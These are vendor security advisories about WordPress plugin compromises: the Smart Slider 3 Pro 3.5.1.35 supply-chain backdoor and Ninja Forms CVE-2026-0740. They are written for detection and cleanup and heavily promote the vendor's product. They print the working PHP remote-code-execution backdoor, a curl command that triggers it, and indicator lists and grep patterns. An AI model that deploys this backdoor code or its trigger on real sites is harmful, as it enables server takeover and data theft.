Styles for WP PageNavi - Addon (styles-for-wp-pagenavi-addon)
WP Logo Showcase Responsive Slider and Carousel (wp-logo-showcase-responsive-slider-slider)

Indicators of Compromise

If any of the 31 plugins above were active on your site before April 8, 2026, check for these indicators:

Indicator	What to look for
wp-config.php injection	Unexpected PHP code near `require_once ABSPATH . 'wp-settings.php'`. File size increases by ~6KB.
wp-comments-posts.php	This file should not exist in a clean WordPress installation. Check the webroot.
SEO spam (Googlebot only)	View your site as Googlebot using `site:yourdomain.com` in Google. Look for spam pages, redirected search results, or pharmaceutical/gambling content.
Unauthenticated REST endpoint	The backdoor registers a REST API route with `permission_callback: __return_true`. Check for unexpected REST routes.
analytics.essentialplugin.com	Search server access logs for outbound connections to this domain.

If you find any of these indicators, the site was actively compromised. Do not just remove the plugin. Clean wp-config.php, remove wp-comments-posts.php, scan all files for additional payloads, and rotate all admin credentials.

Why This Is Not a Normal WordPress Vulnerability

With a normal vulnerability, you patch it and move on. This is not that. The attacker did not find a bug. They bought the plugin, got official commit access, and WordPress.org distributed their malware for eight months.

The Smart Slider 3 Pro compromise hit the same week via a different route (update server breach rather than acquisition). Two supply chain attacks in one week, both exploiting trust in the official update channel.

If you manage client sites, real-time file change monitoring catches bad changes regardless of how they arrive. It does not matter whether the source is a compromised update, a bought plugin, or a direct exploit. The file change is what you catch. The eight-month dormancy here is the same trap as any second-wave compromise where the damage lands long after the initial breach: a one-time scan during the quiet period finds nothing, so only continuous monitoring sees the moment it wakes up.

Credit

Austin Ginder at Anchor Hosting found this through forensic work on a client site. His full writeup walks through the entire investigation, including how he binary-searched 939 backup snapshots to narrow the injection window to under 7 hours. Worth reading in full.

Smart Slider 3 Pro 3.5.1.35 Was a Malicious Release: Supply Chain Compromise

phil@mysites.guru (Phil Taylor) — Wed, 08 Apr 2026 00:00:00 GMT

Last week we wrote about CVE-2026-3098, an arbitrary file read vulnerability in Smart Slider 3 affecting 800,000 WordPress sites. The fix was to update to version 3.5.1.34.

This week is worse. Much worse.

Smart Slider 3 Pro version 3.5.1.35 was a malicious release. Not a vulnerability, not a coding mistake, not a missed capability check. An unauthorized party pushed a backdoored build through Nextend's own update infrastructure, and anyone who clicked "update plugin" between the release of 3.5.1.35 and its detection received working remote code execution as the web server user.

This is a supply-chain attack. The kind every security team has nightmares about, where the official update channel itself becomes the malware delivery system. Nextend has acknowledged the breach in security advisories for both WordPress and Joomla, pulled 3.5.1.35 from distribution, audited their infrastructure, and shipped a clean 3.5.1.36 as the safe replacement.

If your site updated to Smart Slider 3 Pro 3.5.1.35 at any point, treat it as compromised until proven otherwise.

TL;DR

Smart Slider 3 Pro 3.5.1.35 was a malicious release pushed via Nextend's official update channel
Affects both WordPress and Joomla editions of Smart Slider 3 Pro (Nextend published separate advisories for each)
Payload is a remote code execution backdoor: a _chk query parameter triggers shell or PHP execution from POST data
Versions 3.5.1.34 and earlier are not affected. The safe replacement is 3.5.1.36
Indicators of compromise: hidden admin users starting with wpsvc_, files named cf_check.php in /cache and /media, the strings _wpc_ak, eval(base64_decode, or wpjs1.com in any PHP file
Nextend's official cleanup script removes the known indicators

If your site ran 3.5.1.35, assume compromise.

A working remote code execution backdoor was active on every site that installed this release. Updating to 3.5.1.36 closes the door but does not remove anything the attacker placed before you closed it. You must run the indicator-of-compromise checks below and use Nextend's cleanup script.

What Actually Happened to Smart Slider 3 Pro 3.5.1.35?

In Nextend's own words from the official advisory:

A security breach occurred affecting the update infrastructure responsible for distributing Smart Slider 3 updates. Unauthorized parties published a malicious version 3.5.1.35, which may have been installed on some websites before the issue was detected.

This is the part that matters: the attacker did not exploit a bug in the plugin. They got into the update infrastructure itself. For the time window 3.5.1.35 was live, Nextend's own update servers were serving a backdoored build to anyone who clicked update. Every defense that assumes the official update channel is trustworthy was bypassed by definition. Auto-updates pulled it. WordPress.org and the Joomla extension manager pulled it. Plugin update notifications recommended it. Anything checking signatures from Nextend would have validated it.

Nextend has since pulled 3.5.1.35 from distribution, audited their infrastructure, and shipped a clean 3.5.1.36 as the safe replacement. They have not yet published a post-incident report on how the attacker got in, how long they had access, or whether other releases were touched.

Until that report exists, treat every site that ran 3.5.1.35 at any point as compromised.

How to Check Your Sites for Smart Slider 3 Pro 3.5.1.35 with mySites.guru

When a supply-chain incident drops, the first question every agency asks is: "Which of my sites pulled the bad version?" If you manage 50 or 200 client sites, logging into each one and checking the plugin version is not viable. By the time you get through the list, the attacker has had hours of free access.

If you are already a mySites.guru subscriber, the Smart Slider 3 extension search page lists every installed version across all your connected sites, grouped by version number. Filter for 3.5.1.35 and you will see exactly which sites are exposed.

View all your Smart Slider 3 installations

Open Smart Slider 3 Extension Search

Lists every installed version across all your connected sites. Filter by 3.5.1.35 to find any compromised installations, or 3.5.1.34 to find sites that need to move forward to the clean 3.5.1.36.

Combined with the mass plugin updater, you can push 3.5.1.36 across every affected site in one batch. A supply-chain incident becomes a five-minute triage instead of a stressful afternoon.

If you do not have a mySites.guru account yet, start a free trial and connect your sites. The plugin index builds automatically on the first snapshot.

What Does the Smart Slider 3 Pro 3.5.1.35 Backdoor Actually Do?

The malicious payload is small and clever. Here is the relevant code, formatted for readability:

add_action('init', function () {
    $k = get_option('_wpc_ak', '');
    if ($k && isset($_GET['_chk']) && $_GET['_chk'] === $k) {
        while (@ob_end_clean()) {}
        @error_reporting(0);
        header('Content-Type:text/plain');
        $m = isset($_GET['m']) ? $_GET['m'] : 'sh';
        $d = base64_decode(isset($_POST['d']) ? $_POST['d'] : '');
        if (!$d) {
            echo 'OK';
            die();
        }
        if ($m === 'php') {
            ob_start();
            try {
                eval($d);
            } catch (\Throwable $e) {
                echo $e->getMessage();
            }
            echo ob_get_clean();
            die();
        }
        $out = @shell_exec($d . ' 2>&1');
        echo $out !== null ? $out : 'NOSHELL';
        die();
    }
}, 0);

Walk through what it does, line by line:

add_action('init', ..., 0) - registers the backdoor on every page load at the highest priority. Every request to the site, including the public homepage, runs this code before anything else.
$k = get_option('_wpc_ak', '') - reads a secret value from the WordPress options table, stored under the key _wpc_ak. The malicious installer planted this secret during plugin activation. Joomla's equivalent uses a parameter or table row.
isset($_GET['_chk']) && $_GET['_chk'] === $k - checks if the current request includes a _chk query parameter that matches the planted secret. This is the authentication: if you know the secret, you are in.
while (@ob_end_clean()) {} and @error_reporting(0) - clear all output buffers and silence errors so nothing leaks into the response that would tip off log monitoring.
$m = isset($_GET['m']) ? $_GET['m'] : 'sh' - reads a mode parameter. sh runs shell commands, php evaluates PHP code.
$d = base64_decode($_POST['d']) - reads the payload from POST data, base64-decoded. Base64 keeps the payload out of plaintext intrusion detection signatures.
shell_exec($d . ' 2>&1') or eval($d) - executes the decoded payload. Shell mode runs OS commands as the web server user. PHP mode runs arbitrary PHP code, which is even more powerful because it does not require shell access to be enabled.

The backdoor is triggered with a single HTTP request from anywhere on the internet:

curl -X POST "https://victim.example.com/?_chk=SECRET&m=sh" \
     --data "d=$(echo 'id; uname -a' | base64)"

The attacker's challenge is knowing the secret. Either they know it because they planted it (the compromised installer wrote it during plugin activation), or they have a separate channel to retrieve it from infected sites. Both paths exist in this incident: Nextend's advisory describes additional persistence files in /cache and /media that likely include exfiltration code to phone home with the secret and the site URL.

Why This Is Worse Than a Normal Vulnerability

A normal plugin vulnerability is a coding mistake that an attacker can exploit if they find it. A supply-chain compromise is the attacker shipping their own code through the legitimate update channel. Every site that updates is willingly installing the backdoor.

With CVE-2026-3098 last week, an attacker needed a subscriber account and knowledge of the export AJAX endpoint. With 3.5.1.35, an attacker needs nothing except for the site to have clicked "update". The plugin runs with full PHP privileges, so the backdoor inherits all of that.

This also means the usual mental model breaks. Your firewall rules, your nonce checks, your role-based permissions, none of them apply, because the malicious code is running inside your trusted plugin code path. It is the plugin.

Indicators of Compromise: How to Tell If Your Site Was Infected

If your Smart Slider 3 Pro version was at any point 3.5.1.35, run all of these checks before assuming you are clean.

1. Hidden Admin Accounts

Nextend's advisory describes the malicious installer creating administrator accounts with usernames starting with wpsvc_ and an email address of kiziltxt2@gmail.com. On Joomla, the same pattern applies.

WordPress check via WP-CLI:

wp user list --role=administrator --fields=user_login,user_email

Look for any account starting with wpsvc_ or with the kiziltxt2@gmail.com email. SQL alternative:

SELECT user_login, user_email, user_registered
FROM wp_users
WHERE user_login LIKE 'wpsvc_%'
   OR user_email LIKE '%kiziltxt2@gmail.com%';

Joomla equivalent:

SELECT username, email, registerDate
FROM jos_users
WHERE username LIKE 'wpsvc_%'
   OR email LIKE '%kiziltxt2@gmail.com%';

Replace jos_ with your actual table prefix.

How mySites.guru helps: universal user management lists every user account across every connected site in one view. Sort by registration date or filter by username pattern to spot wpsvc_* accounts across hundreds of sites at once, instead of logging into each one.

2. Backdoor Files in Cache and Media Directories

The advisory specifies cf_check.php files placed in /cache and /media (Joomla) and equivalent locations on WordPress (wp-content/cache, wp-content/uploads, wp-content/mu-plugins). Find them:

find . -name 'cf_check.php' -type f
find wp-content/mu-plugins -type f -name '*.php' -newer /tmp/reference-timestamp

Any unexpected PHP files in cache, media, or upload directories should be considered hostile until proven otherwise. Legitimate files in those directories are extremely rare.

How mySites.guru helps: the hidden files report flags exactly this kind of orphan PHP file living outside the normal core/plugin paths. The suspect content scanner catches cf_check.php and similar known backdoor filenames automatically across every connected site.

3. Backdoor Strings in PHP Files

Grep for the literal strings the malicious payload uses:

grep -rEn '_wpc_ak|wpjs1\.com|kiziltxt2@gmail\.com' \
  --include='*.php' .
grep -rEn 'eval\s*\(\s*base64_decode' --include='*.php' .

The first command catches the option key, the exfiltration domain, and the attacker email. The second catches the most common PHP backdoor pattern, which appears in the malicious code samples Nextend shared.

How mySites.guru helps: the suspect content scanner runs the same pattern matching across every connected site, then AI-powered malware analysis explains exactly what each suspicious snippet does so you can triage real threats from false positives without reading every flagged file by hand.

4. Recently Modified PHP Files

Any PHP file modified between the release of 3.5.1.35 and your update to 3.5.1.36 should be reviewed. If you do not know that window, check anything modified in the last fourteen days:

find . -name '*.php' -mtime -14 -type f

Cross-reference this list against your normal deployment activity.

How mySites.guru helps: real-time file change alerts tell you the moment a PHP file changes outside a normal update window, with email notifications. Instead of running find -mtime after the fact, you would have known the same day the backdoor was planted.

5. Theme File Modifications

Nextend mentions infected theme files as part of the persistence mechanism. The mySites.guru file change monitor catches this automatically by comparing every PHP file's hash against the previous snapshot. If a theme file changed without a corresponding template update, you have an answer.

6. The `_wpc_ak` Database Option

The most direct indicator: if the _wpc_ak option exists in your wp_options table, the backdoor planted its key.

SELECT * FROM wp_options WHERE option_name = '_wpc_ak';

Joomla equivalent depends on where the malicious code stored its key. Check the #__extensions params, #__assets, and any plugin-specific tables for entries with names starting with _wpc_.

How mySites.guru helps: the deep security audit walks the database looking for unexpected options, modified core files, and tampered configuration. For Joomla sites specifically, the database security check verifies privileges and looks for rows planted by malicious code.

mySites.guru Is Already Finding the Smart Slider 3 Backdoor on Live Client Sites

We are already seeing this backdoor on real connected sites. The screenshot below is from a client site that was running 3.5.1.35 when its scheduled audit ran overnight. The suspect content scanner caught it and flagged the file three hours ago:

One file. Sixteen lines of PHP. Six separate suspect content matches, each tied to the exact line number with a label that explains why it is hostile. The scanner catches the indicators we covered above (_wpc_ak, eval(base64_decode, shell_exec), but it also flags three things Nextend's advisory does not mention at all:

A pre_user_query filter on line 12 that hides any user whose ID matches the _wpc_uid option. The attacker's hidden admin account never shows up in Users > All Users. If you only check the WordPress user list in wp-admin, you see nothing wrong.
A magic_login endpoint on line 13 that accepts a _wplogin query parameter, validates it with an HMAC-SHA256 of the string magic_login keyed by AUTH_KEY.SECURE_AUTH_KEY, then forges an auth cookie for the user ID stored in _wpc_uid and redirects through a base64-decoded URL. The attacker can log in as the hidden admin from any browser, without ever sending a password.
A magic_login_v2 variant on line 14 that does the same thing but skips the option lookup. It runs a SQL query for any existing administrator account whose username starts with wpsvc_, falls back to a generic %administrator% match if that fails, and logs in as the first match. This is the attacker's backup channel in case the _wpc_uid option gets deleted.

So the payload is not just a remote shell. It is a full persistence kit. If your cleanup only removes the _chk shell handler that the Nextend advisory describes, the attacker still has two working login paths and an invisible admin account waiting for them.

How to Run the Scan and Fix Across All Your Sites

The suspect content scanner runs as part of every mySites.guru audit. For a single site, open the site in the dashboard and check the Suspect Content section of its audit report. For your whole portfolio, every scheduled audit runs the same scan automatically and any flagged file shows up in the global activity feed.

Every match in the screenshot has its own action buttons. The red flag marks the file as confirmed hostile and queues it for cleanup. The green flag marks it as a false positive so the scanner stops alerting on it for that site. The purple AI button sends the snippet to the AI-powered malware analysis, which writes a plain-English explanation of what the code does. The trash icon deletes the file from the server. The edit icon opens the file inline so you can strip the malicious lines out of a file that also contains legitimate code.

For the 3.5.1.35 case, object-cache-helper.php is not a real WordPress core or plugin file. The whole file is malicious. The right action is delete. That cuts off every backdoor in one click. Then update Smart Slider 3 Pro to 3.5.1.36, run the indicator-of-compromise checks above, and look at whatever else the same audit run flagged - the attacker may have dropped more than one file.

If you manage 50 or 200 client sites, the next scheduled audit answers the question "did any of mine get hit by 3.5.1.35" without you logging into anything.

Cleanup: How to Recover an Infected Smart Slider 3 Pro Site

Nextend has published an official cleanup zip that removes the known indicators of compromise. Their cleanup performs the steps below automatically. If you prefer to do it manually, or want to verify the cleanup ran correctly, here is the order.

1. Take a Forensic Backup First

Before deleting anything, take a full backup of the file system and database. If the site is later determined to have been compromised in a way the cleanup script does not address, you need the original artifacts to investigate. mySites.guru's one-click backup handles this in seconds.

2. Update to 3.5.1.36 Immediately

Through the WordPress plugin updater or Joomla's extension manager. Verify the version after update.

3. Run the Nextend Cleanup Script

Download cleanup.zip from nextendweb.com/public/cleanup.zip, upload it to the site, and follow the instructions in the official advisory. The script removes hidden admin accounts, deletes the known backdoor files, and cleans modifications to theme files.

For one or two affected sites, this is a quick job. For 50 or 200, the prospect of SFTPing into each one, uploading the zip, running it, and verifying it ran cleanly is what makes this kind of incident eat a whole day.

Push the Nextend cleanup zip to every affected site in one batch

mySites.guru's mass package install tool was built for pushing plugin installs across hundreds of sites at once. Same workflow works for the Nextend cleanup zip: upload it once, pick every site running Smart Slider 3, and deploy. No SFTP, no per-site admin login, no copy-pasting credentials. A 200-site cleanup turns into a couple of clicks.

Read how mass package install works

4. Delete the `_wpc_ak` Option

After the cleanup script runs, verify the option is gone:

DELETE FROM wp_options WHERE option_name = '_wpc_ak';

5. Reset All Credentials

Treat the site as having had its file system fully read by an attacker. That means:

New WordPress admin passwords for every account
New wp-config.php authentication keys and salts (generator)
New database password
New hosting control panel password
New FTP/SSH passwords if used
New API keys for any service whose credentials might be in wp-config.php, .env, or similar files

6. Audit User Accounts Across the Board

Use mySites.guru's universal user management to review accounts across all your sites in one place. Hidden accounts may exist with names that do not match the wpsvc_ pattern if a more sophisticated attacker piggybacked on the same backdoor.

7. Run a Full Security Scan

Use the mySites.guru suspect content scanner to look for additional backdoors, modified core files, and any PHP files in unexpected locations. Pair it with AI-powered malware analysis for files the rule-based scanner flags as suspicious.

8. Enable File Change Monitoring Going Forward

Real-time file change alerts catch any future modifications to PHP files outside normal deployment activity. If a backdoor returns, you find out within hours instead of after the next breach is announced.

9. Review Server Access Logs

Look for POST requests to your site root containing a _chk query parameter. Any such requests indicate the backdoor was used, and you need to investigate what was done with that access. Common patterns:

POST /?_chk=...&m=sh HTTP/1.1
POST /?_chk=...&m=php HTTP/1.1

If the requests succeeded with 200 responses and your site logs showed activity from unfamiliar IPs, escalate the investigation.

Is the Joomla Version of Smart Slider 3 Pro Also Compromised?

Yes. Nextend published a separate Joomla security advisory covering the same incident. The Joomla edition of Smart Slider 3 Pro 3.5.1.35 received the same compromised release through the same channel.

The malicious behaviors described in the Joomla advisory are the same family as the WordPress version:

Hidden Joomla administrator accounts with usernames starting with wpsvc_
Backdoor files in /cache/cf_check.php, /media/cf_check.php, and possibly in /tmp and /images
The same eval(base64_decode(...)) PHP execution pattern
Exfiltration to wpjs1.com

If you manage Joomla sites with Smart Slider 3 Pro installed, treat this with identical urgency. Update to 3.5.1.36, run the same indicator checks (adapted for Joomla paths), and use Nextend's cleanup script.

This is also the second time we have flagged the same Joomla codebase in two weeks. Last week's CVE-2026-3098 post confirmed that the WordPress and Joomla editions share identical vulnerable files. This week confirms that they share identical compromised distribution. If you are running Smart Slider 3 Pro on Joomla, you are exposed to every WordPress incident this plugin has, and probably will continue to be.

What This Incident Tells Us About Plugin Supply Chains

Supply-chain attacks on commercial CMS plugins are rare in public disclosure but probably more common than the published incidents suggest. This is the kind of compromise where the vendor often discovers it months later, and only the victims who notice unusual activity ever get told.

The defenses that matter:

Version pinning at the agency level. If you manage many sites, do not auto-update commercial plugins on the day of release. Wait 48-72 hours. Most malicious releases are detected and pulled in that window. mySites.guru's scheduled updates lets you stage update windows so client sites do not all jump on day-zero releases.
Inventory before incident. When the next compromised release happens, you need to know which sites have which versions in seconds, not hours. That is what an extension snapshot is for. Manual checking is not viable when you manage 50+ sites.
File change monitoring. Plugin updates do legitimate file changes. A backdoor planted by a plugin update looks the same as the plugin update itself. But after the update settles, any further changes to PHP files in /cache, /uploads, or /mu-plugins are anomalous, and a file change monitor catches them.
Separation between dev, staging, and production. Push commercial plugin updates to staging first. Run them for 24 hours. If the plugin starts making outbound connections to unfamiliar domains or writing files to cache directories, you catch it before production sees a single request.
Treat plugin code as hostile. Run PHP with disable_functions = exec,shell_exec,passthru,system,popen where the plugins you use do not need them. This particular backdoor's shell mode would have failed silently with no shell access. The PHP eval mode would still have worked, but you cut off half the attack surface for a one-line config change.

Smart Slider 3 Pro 3.5.1.35 Compromise Timeline

Date	Event
March 24, 2026	Smart Slider 3.5.1.34 released, patching CVE-2026-3098
Late March 2026	Smart Slider 3 Pro 3.5.1.35 released through Nextend's compromised update infrastructure
Early April 2026	Nextend detected the compromise, pulled 3.5.1.35 from distribution, and audited their systems
April 2026	Smart Slider 3 Pro 3.5.1.36 released as the safe replacement
April 8, 2026	WordPress and Joomla security advisories published

Want Someone to Handle This for You?

If you'd rather not work through the cleanup steps yourself, visit fix.mysites.guru and submit a request. For a one-time set fee, the site gets patched, audited for backdoors, locked down, and handed back secure. Non-subscribers get a free month of mySites.guru included.

Ninja Forms File Uploads CVE-2026-0740: The AJAX Pattern Strikes Again

phil@mysites.guru (Phil Taylor) — Tue, 07 Apr 2026 00:00:00 GMT

The vulnerable function in CVE-2026-0740, disclosed by Wordfence on April 6, is called NF_FU_AJAX_Controllers_Uploads::handle_upload. That class name tells you the entire story before you read a line of code. A WordPress plugin registered an AJAX handler for file uploads, missed a validation step, and shipped an unauthenticated remote code execution vulnerability to around 50,000 sites running Ninja Forms File Uploads. CVSS 9.8.

Update, 16 April 2026: Wordfence has now confirmed active exploitation in the wild. Attackers started hitting the vulnerability the same day it was disclosed (April 6), with mass exploitation between April 9 and 13, and the Wordfence firewall has blocked over 118,600 exploit attempts so far. Observed payloads include PHP webshells dropped into the webroot, magic-byte-prefixed files stored as .php, and malicious .htaccess files that turn harmless file types into executable PHP. If any of your sites are below 3.3.27, assume mass scanners have already reached them - scroll to the IoC list and check now.

This is the fifth AJAX-handler-with-missing-checks CVE we have written about this year. That is not a coincidence, it is a pattern. We dug into the pattern in depth last week: WordPress's admin-ajax.php and Joomla's com_ajax were built as lightweight utility endpoints where the framework does almost nothing and expects plugin developers to handle authentication, authorization, and input validation themselves. When they don't - or when they check the obvious things and miss the subtle ones - you get CVE-2026-0740, and CVE-2026-21628 (Astroid Framework), and CVE-2026-21627 (Novarain Framework), and CVE-2026-3098 (Smart Slider 3), and CVE-2025-8489 (King Addons for Elementor), and the next one that will land before the month is out.

Ninja Forms is interesting because the developers actually did check things. That is what makes this one different from the Astroid or Novarain pattern where the handler had no real checks at all. Ninja Forms checked a nonce, validated the source file type, and required form and field IDs. They even shipped a patch when Wordfence reported the issue. The patch did not fix it - 3.3.25 was a partial patch, and only 3.3.27 closes the hole.

If you manage WordPress sites running Ninja Forms with the File Uploads add-on, stop reading and check your versions. Then come back.

What are the details of CVE-2026-0740?

Detail	Value
CVE	CVE-2026-0740
CVSS	9.8 Critical
Type	Unauthenticated Arbitrary File Upload
Vulnerable function	`NF_FU_AJAX_Controllers_Uploads::handle_upload`
Root cause	No destination filename validation or sanitization
Affected versions	<= 3.3.26
Partial patch	3.3.25 (February 10, 2026) - still vulnerable
Full patch	3.3.27 (March 19, 2026)
Auth required	No - unauthenticated
Publicly disclosed	April 6, 2026
Researcher	Sélim Lanouar (whattheslime), via Wordfence Bug Bounty Program
Active installs	Around 50,000

How does the Ninja Forms File Uploads AJAX vulnerability work?

The vulnerable function is NF_FU_AJAX_Controllers_Uploads::handle_upload. It's the AJAX handler Ninja Forms registers via admin-ajax.php so visitors can upload files through a contact form. Looking at the code Wordfence published in their technical analysis, it does do several things right:

It checks a nonce via check_ajax_referer to prevent simple CSRF
It validates the source filename's extension against a blacklist in a _validate() helper
It requires a form ID and a field ID to be present

Where it fails is in the handling of the destination filename - what the plugin will call the file once it has been saved to disk.

After validating the uploaded file, the plugin reads a POST parameter (a key derived from the file field name) to determine the destination filename. In the vulnerable versions, that destination filename is not sanitized and its extension is not re-checked. An attacker uploads an innocent-looking file such as document.jpg, which passes the source validation, then supplies a POST parameter telling the plugin to move it to a file called something like ../../../../var/www/html/shell.php.

The plugin calls move_uploaded_file() with the attacker-controlled destination and writes a PHP file to wherever the attacker asked for it. Request that PHP file directly, and you have remote code execution on a server running around 50,000 sites' worth of contact forms.

The fix in 3.3.27 adds the checks that were missing: basename() to strip path traversal, sanitize_file_name() to clean the filename, and pathinfo() plus a blacklist check on the destination extension. You can see the sanitization logic clearly in the patched code Wordfence published, including this comment from the vendor:

// Security fix: Sanitize user-provided filename to prevent path traversal

File upload AJAX handlers have far more surface area than they look. Checking the obvious things (nonce, source filename) is not the same as checking the complete data flow. The obvious checks are the ones developers remember. The subtle ones - destination path traversal, destination extension, basename sanitization, the interaction between raw POST input and WordPress's own filename functions - are the ones that get missed. That is the AJAX pattern in a sentence, and it's the reason this post exists.

Why did the first Ninja Forms File Uploads patch not fix CVE-2026-0740?

Wordfence received the responsible disclosure on January 8, 2026 and shipped a firewall rule to Premium customers the same day. The vendor acknowledged on January 12, sent a patch for review on January 27, and released 3.3.25 on February 10 as the first patched version.

Except 3.3.25 was not actually patched. It fixed part of the destination filename handling but left the exploit path open. 3.3.26 was also still vulnerable. The fully patched version, 3.3.27, did not ship until March 19 - over a month later.

If your WordPress auto-updater ran any time between February 10 and March 19, it pulled down a version that looked patched on every monitoring dashboard and every security scanner feed, but was still exploitable. The version number went up, the changelog mentioned a security fix, the dashboard went green. Nothing about that process told you the fix had failed. This is one of the reasons some agencies disable auto-updates entirely and drive all plugin updates manually from a central dashboard after verifying the patch is the actual fix.

Wordfence's advisory spells out the timeline in plain text: "The vulnerability was partially patched in version 3.3.25 and fully patched in version 3.3.27." If you only read the CVE summary and see "patched in 3.3.25", you will miss it.

The only safe version is 3.3.27 or later. Anything below that is a live exposure, and "we updated it" and "we're safe" are not the same sentence. A vendor can genuinely try to fix an AJAX handler and still ship an exploit because the surface area is that large.

Which WordPress sites run Ninja Forms File Uploads?

Ninja Forms is one of the more popular form plugins for WordPress. The File Uploads extension is a paid add-on that plenty of sites use for:

Recruitment sites collecting CVs from applicants
Professional services sites accepting project briefs and portfolios
Support portals where customers attach logs or screenshots
Contact forms on agency sites that need file attachments
Event registration forms accepting ID documents

Anywhere a WordPress site accepts files from the public through Ninja Forms, there is a reasonable chance this add-on is the plugin doing it.

Across the sites connected to mySites.guru, hundreds of installs turn up spread across many customer accounts, and a meaningful fraction are still on vulnerable versions. That is the reality across every large WordPress portfolio right now: some sites are patched, some are not, and without a dashboard that lets you group every install by version number, you are guessing.

How do I find which of my WordPress sites are running Ninja Forms File Uploads?

There are three ways to answer the question "which of my sites are running Ninja Forms File Uploads below 3.3.27". Only one of them scales.

Manual check (single site)

If you only manage one WordPress site, the manual check takes a minute:

Log into wp-admin
Go to Plugins -> Installed Plugins
Find "Ninja Forms - File Uploads" in the list
Look at the version number

Anything below 3.3.27 - including 3.3.25 and 3.3.26, which show up as "updated" but are not actually patched - needs updating immediately.

WP-CLI (handful of sites)

If you have SSH access and WP-CLI on each site, this gets you the version without logging into wp-admin:

wp plugin get ninja-forms-uploads --field=version

And to update in one command:

wp plugin update ninja-forms-uploads

Workable for five or ten sites if you don't mind SSHing around. Unworkable for fifty.

Bulk check with mySites.guru (unlimited sites)

mySites.guru indexes every plugin on every connected site continuously. The Extension Search groups all variants of a plugin by its internal key hash, so a single URL lists every version of Ninja Forms File Uploads across your entire portfolio, grouped by version number.

mySites.guru subscribers: check your Ninja Forms File Uploads versions now

Open Ninja Forms File Uploads Extension Search

Lists every version of Ninja Forms File Uploads across all your connected sites, grouped by version number. Anything below 3.3.27 needs updating right now. Not a subscriber? Sign up free to get this visibility across your whole portfolio in minutes.

Or, if you prefer to drive it from the dashboard:

Open Your WordPress Extensions in mySites.guru
Type "ninja-forms-uploads" in the filter bar
Click Which sites? next to the entry to see every site running it, grouped by version number
Any site on 3.3.26 or earlier is vulnerable - you already have the list
Push the update in bulk from the same dashboard

Sites running vulnerable versions are flagged automatically with a red Vulnerable Plugins! badge. You do not need to remember version numbers or cross-reference CVE databases - mySites.guru cross-references every installed plugin against the Wordfence and Patchstack vulnerability feeds twice daily and flags outdated or vulnerable versions for you.

The question "which of my sites are still on 3.3.26" goes from an afternoon of manual checks to a few seconds. A hundred-site portfolio resolves in the same time as a five-site portfolio.

Single-site tools cannot answer this question by design. Wordfence runs on each site individually and does not give you a cross-portfolio view. ManageWP and MainWP track WordPress but not Joomla. mySites.guru is built around this specific question: given a CVE, which of my sites are affected right now, and how do I push the fix without logging into each one.

Are there indicators of compromise for CVE-2026-0740?

Yes, and they are specific enough to grep for. Wordfence published its attack data on April 16 with live request payloads, the most active attacker IPs, and the exact URL pattern to hunt in access logs.

Request signature to look for

The common attack vector is a POST request to admin-ajax.php with the nf_fu_upload action. Grep your webserver access logs for either of these patterns:

/wp-admin/admin-ajax.php?action=nf_fu_upload
/wp-admin/admin-ajax.php  (with POST body containing action=nf_fu_upload)

Exploit attempts typically include a multipart/form-data body with a destination filename pointed at a .php path (for example nf_lab_10e31d63.php or ../../wp_cache.php), or a URL-encoded destination of %2ehtaccess alongside a file that carries a GIF89a or PDF magic-byte header but actually contains PHP.

Files to hunt on disk

Attackers are dropping two kinds of artefact:

PHP webshells in the webroot and in /wp-content/uploads/, often with names designed to blend in: wp_cache.php, nf_lab_*.php, or any PHP file whose modified time lines up with a matching POST to admin-ajax.php?action=nf_fu_upload.
Malicious .htaccess files in upload directories that add AddType application/x-httpd-php .txt (or similar) so .txt or other harmless-looking files execute as PHP. If you find a .htaccess in an uploads directory that you did not put there, treat it as compromise until proven otherwise.

One observed payload self-identifies in its output as a bashd3x uploader and calls php_uname() on first hit - that string in a file or in your logs is a strong signal.

Top attacker IPs (as of April 16, 2026)

Wordfence's top ten most active IPs for this CVE, ordered by blocked request count:

IP address	Blocked requests
`124.248.183.139`	53,000+
`152.42.221.239`	14,000+
`124.108.54.86`	8,000+
`82.29.88.44`	3,400+
`143.198.143.185`	2,800+
`185.213.83.150`	1,700+
`168.144.32.17`	1,500+
`182.9.35.168`	1,400+
`37.19.205.247`	1,400+
`160.202.35.137`	1,300+

These IPs are a useful grep starting point for historical log review, but do not rely on them alone. Block lists age fast and new scanners rotate in daily. Any POST to admin-ajax.php?action=nf_fu_upload from an unexpected IP is worth treating as hostile.

What do I do if I find a WordPress site exposed to CVE-2026-0740?

Patching is step one, but this is an unauthenticated RCE. Anyone scanning the internet for vulnerable installs could already have dropped a webshell. Treat any site you find on 3.3.26 or earlier as potentially compromised and check before you close the ticket.

1. Update to 3.3.27 or later. Not 3.3.25. Not 3.3.26. From mySites.guru, push the update in bulk to every affected site at once.

2. Scan for webshells and backdoors at the file level. The vulnerability writes attacker-controlled PHP anywhere writable on disk, so grep-for-suspicious-filenames is not enough. mySites.guru's deep file scanner inspects every file in the webspace against 12 years of threat signature data and flags webshells, backdoors, and known hacked files regardless of where they were placed. Run it on every site you just patched, not just the obviously dodgy ones. The ones that look clean are the ones you missed. There is more detail on how this works in our post on finding hacked files and backdoors in Joomla and WordPress.

3. Review the Ninja Forms uploads directory manually too. Uploads typically land under wp-content/uploads/ninja-forms/, but because of the path traversal, the malicious file could be anywhere. Look for PHP files in upload directories, recently modified PHP files outside wp-content/plugins/, any file with a suspicious name in the webroot, and crucially any .htaccess file in an uploads directory you did not put there - attackers are using these to turn harmless file types into executable PHP.

4. Grep your webserver access logs for POST requests to admin-ajax.php?action=nf_fu_upload and cross-reference against the top attacker IPs listed above. Anything from an unexpected IP, at an unusual time, or with a suspicious referer header is worth investigating. mySites.guru's real-time activity alerting also catches new PHP files being written and admin logins from unfamiliar IPs, which is exactly the post-exploitation signal you want to see on this kind of vulnerability.

5. Check the usual post-compromise indicators. Unknown admin users, modified core files, unexpected cron jobs, new scheduled tasks, outbound connections from the web server process. Our post on how to tell if your WordPress site is hacked covers the full checklist.

6. Rotate credentials if you find evidence of compromise. Treat anything in wp-config.php (database credentials, salts, API keys) as leaked and rotate it. Reset every admin password. Invalidate active sessions.

If you find a compromised site and do not want to handle the clean-up yourself, mySites.guru's hack recovery service takes over from here: we identify every affected file, remove the backdoors, patch the vulnerability, and harden the site against re-compromise.

How can I prevent the next WordPress plugin AJAX vulnerability from hitting my sites?

This is not going to be the last WordPress plugin AJAX handler to ship an unauthenticated RCE. The pattern of "check the obvious thing, miss the subtle one" is structural, not accidental, and every time a new one lands the game is the same: find your vulnerable sites before the scanners do.

A few things tilt the odds in your favour, and mySites.guru does all of them by default:

